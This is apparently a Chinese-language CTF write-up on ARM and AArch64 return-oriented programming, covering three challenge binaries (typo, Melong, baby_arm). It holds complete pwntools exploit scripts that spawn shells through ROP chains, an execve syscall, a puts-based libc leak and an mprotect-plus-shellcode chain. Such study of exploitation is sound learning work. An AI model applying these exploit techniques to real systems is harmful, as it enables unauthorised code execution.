前些天复现漏洞的时候发现 arm rop 不是很熟,于是扒了些 arm 题来做🤐
参考:
[jarvisOJ] typo
arm-32-little,Partial RELRO,No canary found, NX enabled, No PIE (0x8000)
程序实现了打字练习的功能,在输入的时候存在栈溢出漏洞。
动态调试的偏移跟 ida 分析出来的是一样的。不过要注意这题的程序要求先输入回车符,再开始打字练习。我一开始调的时候忘了emm,脚本也是直接 sendline(payload) ,怎么下断点都会崩🤒。
程序是静态链接,可以利用其本身的 gadget、字符串、函数。恰巧这个题既有 system 函数,又有 ‘/bin/sh’,一条 pop {r0, r4, pc}
指令就可以getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import* context(arch='arm',log_level='debug') p=process(['qemu-arm','./typo']) elf=ELF('./typo')
ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sla = lambda x,y : p.sendlineafter(x,y) sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive()
ru('to quit') sd('\n')
binsh=0x0006c384 pop_r0_r4_pc=0x00020904
py='a'*112 py+=p32(pop_r0_r4_pc)+p32(binsh)+p32(0) py+=p32(0x110b4) rl() rl() sl(py)
it()
|
但是这个 system 函数是经过 rizzo 还原符号表才得到的,或者也可以根据 ‘/bin/sh’ 字符串交叉引用找到 system 函数。如果找不到 system 函数,也可以用系统调用的方法。这里需要用 svc 指令。
我们从 unistd.h 文件中可以知道 __NR_SYSCALL_BASE 的值是0.
1 2 3 4 5 6 7 8 9 10 11 12
| #/usr/arm-linux-gnueabi/include/asm/unistd.h
#if defined(__thumb__) || defined(__ARM_EABI__) #define __NR_SYSCALL_BASE 0 #include <asm/unistd-eabi.h> #else #define __NR_SYSCALL_BASE __NR_OABI_SYSCALL_BASE #include <asm/unistd-oabi.h> #endif
#include <asm/unistd-common.h> #define __NR_sync_file_range2 __NR_arm_sync_file_range
|
系统调用号的映射关系可以在 unistd-common.h 文件中找到。可以看到这里 execve 对应的系统调用号就是 0+11 = 11(0xb).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #/usr/arm-linux-gnueabi/include/asm/unistd-common.h
#ifndef _ASM_ARM_UNISTD_COMMON_H #define _ASM_ARM_UNISTD_COMMON_H 1
#define __NR_restart_syscall (__NR_SYSCALL_BASE + 0) #define __NR_exit (__NR_SYSCALL_BASE + 1) #define __NR_fork (__NR_SYSCALL_BASE + 2) #define __NR_read (__NR_SYSCALL_BASE + 3) #define __NR_write (__NR_SYSCALL_BASE + 4) #define __NR_open (__NR_SYSCALL_BASE + 5) #define __NR_close (__NR_SYSCALL_BASE + 6) #define __NR_creat (__NR_SYSCALL_BASE + 8) #define __NR_link (__NR_SYSCALL_BASE + 9) #define __NR_unlink (__NR_SYSCALL_BASE + 10) #define __NR_execve (__NR_SYSCALL_BASE + 11) ......
|
构造下面的系统调用,我们需要布置 $pc=0x...(svc #0), $r7=0xb, $r0=0x...('/bin/sh'), $r1=0, $r2=0
。
1 2 3 4
| ► 0x482fc svc #0 <SYS_execve> path: 0x6c384 ◂— '/bin/sh' argv: 0x0 envp: 0x0
|
但是程序执行到溢出点的时候, r1 和 r2寄存器不为空,因此不能直接用 pop {r7,pc}
构造。
程序本身的 pop 指令基本都是 pop r3, r4, r5, r6, r7, r8, r9, pc,因此我们可以借助其他指令,如 mov ,将值从这些寄存器移动到 r1,r2 中。恰巧找到一段既有 r1 又有 r2 的 gadget:
1
| mov r1, r4 ; mov r2, r5 ; blx r3
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import* context(arch='arm',log_level='debug') p=process(['qemu-arm','./typo']) elf=ELF('./typo')
ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sla = lambda x,y : p.sendlineafter(x,y) sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive()
ru('to quit') sd('\n')
binsh=0x0006c384 pop_r0_r4_pc=0x00020904 svc_0=0x000482fc
py='a'*112 py+=p32(pop_r0_r4_pc)+p32(binsh)+p32(0) py+=p32(0x0000a958) py+=p32(svc_0)+p32(0)+p32(0)+p32(0)+p32(0xb) py+=p32(0x000699E8)
rl() rl() sl(py)
it()
|
[Codegate2018] Melong
arm-32-little,Partial RELRO,No canary found,NX enabled, No PIE (0x10000)
总共有五个功能,其中写功能存在栈溢出:
1 2 3
| case 4: if ( size[0] ) write_diary(size, buf); // 0x52
|
size 是从 PT 函数里来的。这里有一个 ptr==exec2
的 check,但是正常情况下过不了。注意到还有一个整数溢出可以利用:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import* context(arch='arm',log_level='debug') context.binary = "./melong"
p=process(['qemu-arm','-L','./','./melong']) elf=ELF('./melong') libc=ELF('./lib/libc.so.6')
ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sla = lambda x,y : p.sendlineafter(x,y) sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive()
def menu(num): ru('Type the number:') sl(str(num))
def check_bmi(h,w): menu(1) ru('Your height(meters) : ') sl(str(h)) ru('Your weight(kilograms) : ') sl(str(w))
def exercise(): menu(2)
def pt(size): menu(3) ru('take personal training?') sl(str(size))
def write(con): menu(4) sd(con)
check_bmi(1,17) pt(-1)
pop_r0_pc=0x00011bbc py='a'*0x54+p32(pop_r0_pc)+p32(elf.got['puts'])+p32(elf.plt['puts'])+p32(elf.sym['main'])*8 write(py) menu(6) ru('\n') libcbase=u32(rv(4))-libc.sym['puts'] libc.address=libcbase
success(hex(libcbase))
check_bmi(1,17) pt(-1)
py='a'*0x54+p32(pop_r0_pc)+p32(next(libc.search("/bin/sh")))+p32(libc.sym['system'])
write(py) menu(6) it()
|
[上海2018] baby_arm
aarch64-64-little, Partial RELRO,No canary found,NX enabled, No PIE (0x400000)
两次读入,第一次读到 bss 上,第二次存在很大空间的栈溢出。但是用 gdb 看了一下,bss 段没有执行权限,不能直接 ret2shellcode。可以用 mprotect 函数开个权限。虽然这里程序本身的 plt 表就有 mprotect 函数,但没给的情况下也可以通过泄露 libc 地址算出来。
参考:hollk——ARM PWN:Shanghai2018_baby_arm详细讲解
arm64 也有类似于 x86 的 csu 的函数,找到下面这段指令后,我们就可以从栈控制寄存器的值,再控制程序流了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| .text:00000000004008AC loc_4008AC ; CODE XREF: init+60↓j .text:00000000004008AC LDR X3, [X21,X19,LSL#3] .text:00000000004008B0 MOV X2, X22 .text:00000000004008B4 MOV X1, X23 .text:00000000004008B8 MOV W0, W24 .text:00000000004008BC ADD X19, X19, #1 .text:00000000004008C0 BLR X3 .text:00000000004008C4 CMP X19, X20 .text:00000000004008C8 B.NE loc_4008AC .text:00000000004008CC .text:00000000004008CC loc_4008CC ; CODE XREF: init+3C↑j .text:00000000004008CC LDP X19, X20, [SP,#var_s10] .text:00000000004008D0 LDP X21, X22, [SP,#var_s20] .text:00000000004008D4 LDP X23, X24, [SP,#var_s30] .text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 .text:00000000004008DC RET
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import* context(arch='aarch64',endian='little',bits='64',os='linux',log_level='debug') p=process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu','./babyarm']) elf=ELF('./babyarm')
ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sla = lambda x,y : p.sendlineafter(x,y) sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive()
bss=0x0000000000411068 mprotect_plt = elf.plt['mprotect'] csu_down = 0x4008CC csu_up = 0x4008AC
ru('Name:') sl(p64(mprotect_plt)+asm(shellcraft.aarch64.sh()))
py='a'*72 py+=p64(csu_down) py+=p64(0)+p64(csu_up)+p64(0)+p64(1) py+=p64(bss)+p64(0x7)+p64(0x1000)+p64(bss+8) py+=p64(0)+p64(bss+8)
sd(py) it()
|